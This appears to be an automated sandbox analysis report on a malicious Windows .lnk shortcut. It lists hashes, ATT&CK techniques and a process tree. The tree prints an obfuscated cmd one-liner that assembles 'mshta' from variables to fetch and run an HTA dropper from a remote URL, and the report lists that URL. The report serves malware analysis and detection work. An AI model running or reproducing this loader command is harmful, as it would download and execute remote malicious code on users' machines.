49d5d7592e66c2d31a5889478574c314b4ddaa3f4d45090210d3ebd5575f5649

Analysis

max time kernel
58s
max time network
21s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 04:32

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General

Target
DOC-5W5SM8.lnk
Size 1KB
Sample260823-e56zysej8y
SHA256 49d5d7592e66c2d31a5889478574c314b4ddaa3f4d45090210d3ebd5575f5649
MD5 8981bfe100df04b36ca4b7d2a36c4c07
SHA1 9474a54406709511f76883dd2b4c339af45eca37
SHA512 e8e282fb4e8cab95f6ab02d24a1afcd62f02d01c5a9269b64e7ea67d16efc24186f2986a175b9abc16090ec4efb9d08b4f3d05841d887bf2b2be8bac242f70d6
TLSH
T1C83164002EFC0624F3B79F7286BB67108DBAB88A8D10C61D0150864C1072E01EA7AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1272	cmd.exe
3696	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1272 wrote to memory of 3696	1272	cmd.exe	90
PID 3696 wrote to memory of 2772	3696	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-5W5SM8.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1272
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set sDnDe=msh&&set JAf=ta&&start "" !sDnDe!!JAf! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3696
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:2772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads